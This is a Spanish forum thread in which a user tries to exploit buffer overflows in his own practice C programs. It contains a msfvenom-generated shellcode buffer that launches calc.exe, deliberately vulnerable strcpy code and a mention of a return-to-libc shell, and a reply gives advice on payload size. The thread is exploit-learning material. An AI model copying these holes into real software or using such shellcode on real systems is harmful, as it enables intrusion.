elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Intentando explotar buffer overflow
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Intentando explotar buffer overflow  (Leído 5,336 veces)
pepitopepote

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Intentando explotar buffer overflow
« en: 2 Noviembre 2017, 18:56 pm »

Hola buenas, he creado este programa he conseguido ejecutar la funcion system("pause"); sobreescribiendo el return con el lugar donde se encuentra pasandosolo en ascii, ahora quisiera ejecutar un shellcode
he creado uno con msfvenom pero como hago para que se ejecute?

Código
  1. msfvenom -p windows/exec cmd=calc.exe -f c --smallest --platform windows--arch x86
  2. unsigned char buf[] =
  3. "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
  4. "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
  5. "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
  6. "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
  7. "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
  8. "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
  9. "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
  10. "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
  11. "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
  12. "\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
  13. "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
  14. "\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
  15. "\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
  16.  
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include<string.h>
  4.  
  5. int main()
  6. {
  7. FILE *archivo;
  8. char buf[20];
  9.  
  10. char caracteres[100];
  11.  
  12. archivo = fopen("A.txt","r");
  13.  
  14. if (archivo == NULL)
  15. exit(1);
  16. else
  17.        {
  18.    printf("\nEl contenido del archivo de prueba es \n\n");
  19.    while (feof(archivo) == 0)
  20.    {
  21. fgets(caracteres,100,archivo);
  22. printf("%s",caracteres);
  23.    }
  24.  
  25.        }
  26.        fclose(archivo);
  27.        system("PAUSE");
  28.            strcpy(buf,caracteres);//bof
  29. return 0;
  30. }
  31.  
  32. void f1(){
  33. system("calc.exe");//bof
  34. return;
  35. }
« Última modificación: 2 Noviembre 2017, 19:51 pm por pepitopepote » En línea

Liqu1d

Desconectado Desconectado

Mensajes: 1



Ver Perfil
Re: Intentando explotar buffer overflow
« Respuesta #1 en: 3 Noviembre 2017, 03:34 am »

En éste caso no podes usar más de 99 caracteres, ya que si tenes un archivo con 110 caracteres por ejemplo, el while la primera vez agarra los primeros 100 bytes del archivo y la segunda pasada agarra los 10 bytes restantes, ahí termina de procesar al archivo y el strcpy copiaría esos ultimos 10 bytes al buffer con 20 bytes de espacio. En éste caso no se produciría un overflow. Pero si tu archivo tiene 99 caracteres, solamente entrás al while 1 vez y copias al buffer de 20 bytes, tus 99 bytes de caracteres, en éste caso se desbordaría. La shellcode que vos estás mostrando es de casi 200 bytes, por lo que sería imposible utilizarla en éste escenario. Probá con una shellcode más chica. O probá esa misma haciendo que lea de a más caracteres.

Saludos!
En línea

Neither strainer can stop the water
pepitopepote

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Re: Intentando explotar buffer overflow
« Respuesta #2 en: 29 Noviembre 2017, 20:23 pm »

No consegui ejecular el shellcode imagino por las protecciones aparte de los "\x00", pero si sacar una shell(return to libc) llamando a la funcion system() + exit()+ string pero si quisiera por ejemplo abrir la calculadora? he buscado un string calc.exe o calc  pero no la he encontrado.
Que mas podria hacer?
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. main (int argc, char **argv)
  4. {
  5. char vuln[12];
  6. char vul[]="AAAAAAAAAAAABBBBCCCCDDDDEEEE"
  7.  
  8. strcpy(vuln,vul);                // <- VULNERABLE FUNCTION
  9. printf ("%s\n",vuln);
  10. return 0;
  11. }
  12.  
  13.  
« Última modificación: 29 Noviembre 2017, 20:38 pm por pepitopepote » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines